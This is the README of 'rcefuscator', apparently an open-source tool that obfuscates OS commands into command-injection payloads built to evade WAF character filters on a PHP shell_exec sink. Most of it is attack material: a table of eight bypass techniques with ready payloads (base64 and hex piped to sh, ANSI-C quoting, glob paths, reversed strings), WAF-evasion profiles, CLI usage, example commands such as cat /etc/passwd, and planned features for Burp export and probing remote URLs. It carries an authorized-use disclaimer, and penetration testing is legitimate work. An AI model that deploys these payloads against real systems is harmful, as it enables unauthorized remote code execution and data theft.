RCE Payload Generator & WAF Evasion Toolkit
The problem: WAF rules are getting smarter โ but most just block obvious characters. Raw
id,whoami, orcat /etc/passwdget blocked. But what about$'\x69\x64'? Or/???/???/id? Orecho 'di' | rev | sh?rcefuscator generates all viable bypass variants instantly. Pick the one your WAF doesn't see.
โ ๏ธ READ DISCLAIMER โ This tool is strictly for authorized penetration testing, CTF challenges, and educational research. Using it against systems you do not own or have explicit written permission to test is illegal.
rcefuscator takes a user-supplied OS command (e.g. id, whoami, cat /etc/passwd) and outputs multiple obfuscated payload variants designed to bypass naรฏve WAF filters that block common injection characters (;, |, &, $, backticks, (, )).
It targets the shell_exec($_GET['cmd']) PHP sink context but applies broadly to any command injection scenario.
# Clone and install
git clone https://github.com/ak4hit/rcefuscator.git
cd rcefuscator
pipx install .
# Generate all payloads for 'id' under the moderate WAF profile
rcefuscator --cmd "id"
# Use the strict profile (blocks more chars)
rcefuscator --cmd "id" --profile strict
# Output as JSON
rcefuscator --cmd "whoami" --json
# Save to file
rcefuscator --cmd "id" --output payloads.txt
# List all available techniques
rcefuscator --list-techniquesโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โ rcefuscator PAYLOAD ENGINE โ
โโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ INPUT โ OS command: id / whoami / cat /etc/passwd โ
โโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ โ
โ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โ
โ โ Base64 โ โ Hex Encode โ โ ANSI-C โ โ Var Split โ โ
โ โ Encoding โ โ (printf+xxd)โ โ Quoting โ โ โ โ
โ โ โ โ โ โ โ โ โ โ
โ โ echo 'aWQ=' โ โ printf โ โ $'\x69\x64' โ โ _a=i;_b=d; โ โ
โ โ |base64 -d โ โ '\x69\x64' โ โ โ โ $_a$_b โ โ
โ โ |sh โ โ |xxd -p -r โ โ No pipes. โ โ โ โ
โ โ โ โ |sh โ โ Cleanest. โ โ โ โ
โ โ Uses: | โ โ Uses: | โ โ Uses: $, ' โ โ Uses: $, ; โ โ
โ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โ
โ โ
โ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โ
โ โ Wildcard / โ โ Reverse โ โ Case โ โ Command โ โ
โ โ Glob Expand โ โ String โ โ Manipulationโ โ Substitutionโ โ
โ โ โ โ โ โ โ โ โ โ
โ โ /???/???/id โ โ echo 'di' โ โ echo 'ID' โ โ $(printf โ โ
โ โ โ โ |rev|sh โ โ |tr 'A-Z' โ โ '\x69\x64') โ โ
โ โ โ โ โ โ 'a-z'|sh โ โ โ โ
โ โ Uses: NONE โ โ Uses: | โ โ Uses: | โ โ Uses: $,(,) โ โ
โ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโ โ
โ โ
โโโโโโโโโโโโโโโโโโโฌโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ BLACKLIST โ Auto-skip techniques whose chars are blocked by WAF โ
โ VALIDATOR โ Green panel = clean ยท Red panel = flagged โ
โโโโโโโโโโโโโโโโโโโดโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโค
โ OUTPUT โ Rich terminal ยท JSON ยท Plain-text file ยท Clipboard โ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
Each technique declares which special characters it uses itself. rcefuscator auto-skips any technique whose required chars are in your active WAF blacklist โ so you only see payloads that can actually survive the filter.
| # | ID | Technique | Example Output (id) |
Uses Chars | Shell |
|---|---|---|---|---|---|
| 1 | base64 |
Base64 Encoding | echo 'aWQ='|base64 -d|sh |
| |
bash/sh |
| 2 | hex_printf |
Hex Encoding (printf + xxd) | printf '\x69\x64'|xxd -p -r|sh |
| |
bash/sh |
| 3 | ansi_c |
ANSI-C Quoting | $'\x69\x64' |
$, ' |
bash |
| 4 | var_split |
Variable Splitting | _a=i;_b=d;$_a$_b |
$, ; |
bash/sh |
| 5 | wildcard |
Wildcard / Glob Expansion | /???/???/id |
none | bash/sh |
| 6 | reverse |
Reverse String | echo 'di'|rev|sh |
| |
bash/sh |
| 7 | case_mangle |
Case Manipulation | echo 'ID'|tr 'A-Z' 'a-z'|sh |
| |
bash/sh |
| 8 | cmd_sub |
Command Substitution $(โฆ) |
$(printf '\x69\x64') |
$, (, ) |
bash |
| Profile | Blocked Characters | Use When |
|---|---|---|
moderate |
`; | & `` | Standard WAF (default) |
strict |
; | & $ \ ( ) < > space` |
Hardened input filters |
paranoid |
; | & $ \ ( ) < > space ' " ` |
Maximum restriction |
custom |
Defined by --blacklist flag |
You know exactly what's blocked |
# Use a preset profile
rcefuscator --cmd "id" --profile strict
# Or supply your own blacklist
rcefuscator --cmd "id" --blacklist "; | & \`"Under the strict profile, only wildcard and sometimes ansi_c survive. Under moderate, you get 3โ5 clean payloads. Under no blacklist, all 8 are generated.
rcefuscator [OPTIONS]
Options:
-c, --cmd TEXT OS command to obfuscate (e.g. 'id')
-p, --profile TEXT WAF profile: moderate | strict | paranoid [default: moderate]
-b, --blacklist TEXT Custom blacklist chars (overrides --profile)
-t, --technique TEXT Run a single technique by ID
-l, --list-techniques List all available techniques and exit
-j, --json Print output as JSON
-o, --output TEXT Save payloads to a plain-text file
--copy Copy the first clean payload to clipboard
--show-skipped Show skipped techniques in the output
--version Show version and exit
-h, --help Show help and exit# All payloads for 'id', moderate WAF
rcefuscator --cmd "id"
# Only the ANSI-C quoting technique
rcefuscator --cmd "id" --technique ansi_c
# Strict WAF, show what got skipped and why
rcefuscator --cmd "whoami" --profile strict --show-skipped
# Export to JSON for automation / Burp paste
rcefuscator --cmd "id" --json
# Save clean payloads to file
rcefuscator --cmd "id" --profile strict --output results.txt
# Copy first clean payload to clipboard
rcefuscator --cmd "id" --copyrcefuscator/
โโโ rcefuscator/
โ โโโ __init__.py
โ โโโ core/
โ โ โโโ encoder.py # All 8 encoding/obfuscation functions
โ โ โโโ techniques.py # Technique registry, WAF profiles, run engine
โ โ โโโ validator.py # Blacklist checker โ check_payload()
โ โโโ cli/
โ โ โโโ main.py # Click-based CLI entrypoint
โ โโโ output/
โ โโโ formatter.py # Rich terminal output (green/red panels)
โ โโโ exporter.py # JSON + plain-text file export
โโโ tests/
โ โโโ test_encoder.py # 34 unit tests for all 8 techniques + registry
โ โโโ test_validator.py # 5 tests for blacklist validator
โ โโโ test_cli.py # 19 integration tests for full CLI
โ โโโ functional_test.sh # Bash script for Docker live validation
โโโ examples/
โ โโโ sample_outputs.txt # Pre-generated outputs for id & whoami
โโโ requirements.txt
โโโ setup.py
โโโ DISCLAIMER.md
โโโ README.md
sudo apt install xclip # Debian / Ubuntu / Kali
sudo pacman -S xclip # Arch
sudo dnf install xclip # Fedorapip install pytest
python -m pytest tests/ -v
# Expected: 58 passedTo verify payloads actually execute in a real bash environment:
docker run --rm -it -v "$(pwd)":/app ubuntu:22.04 bash /app/tests/functional_test.shThe script runs all 8 payload variants against a live bash shell and confirms each produces uid= in the output.
โ ๏ธ Perform this step only on systems you own or have written permission to test.
{
"command": "id",
"waf_profile": "moderate",
"generated_at": "2026-05-06T17:32:31.990119+00:00",
"total": 3,
"clean_count": 3,
"payloads": [
{
"technique": "ansi_c",
"name": "ANSI-C Quoting ($'\\x..')",
"payload": "$'\\x69\\x64'",
"clean": true,
"uses_chars": ["$", "'"],
"shell": "bash",
"description": "Converts chars to \\xHH inside $'...' โ no pipes, cleanest technique"
},
{
"technique": "wildcard",
"name": "Wildcard / Glob Expansion",
"payload": "/???/???/id",
"clean": true,
"uses_chars": [],
"shell": "bash/sh",
"description": "Replaces binary path components with ??? glob patterns โ zero special chars"
}
]
}| Feature | Description |
|---|---|
--url-encode |
Auto URL-encode final payload for direct paste into GET params |
--space-handler |
Auto-replace spaces with ${IFS} in multi-word commands |
--verify |
Spin up local bash subprocess, run each payload, auto-confirm result |
--interactive |
REPL loop โ type commands and get live payload generation |
| Burp Suite export | One payload per line for Intruder paste |
| WAF fingerprint mode | Probe a URL with test payloads, auto-detect blocked chars |
| Windows CMD support | cmd.exe equivalents for SSJI contexts |
Pull requests welcome.
- Fork the repo
- Create a branch:
git checkout -b feat/your-feature - Commit with conventional commits:
feat:,fix:,test: - Open a PR against
main
MIT โ Copyright (c) 2026 ak4hit
Built by ak4hit ยท Educational Use Only
rcefuscator โ Because WAFs are filters, not walls.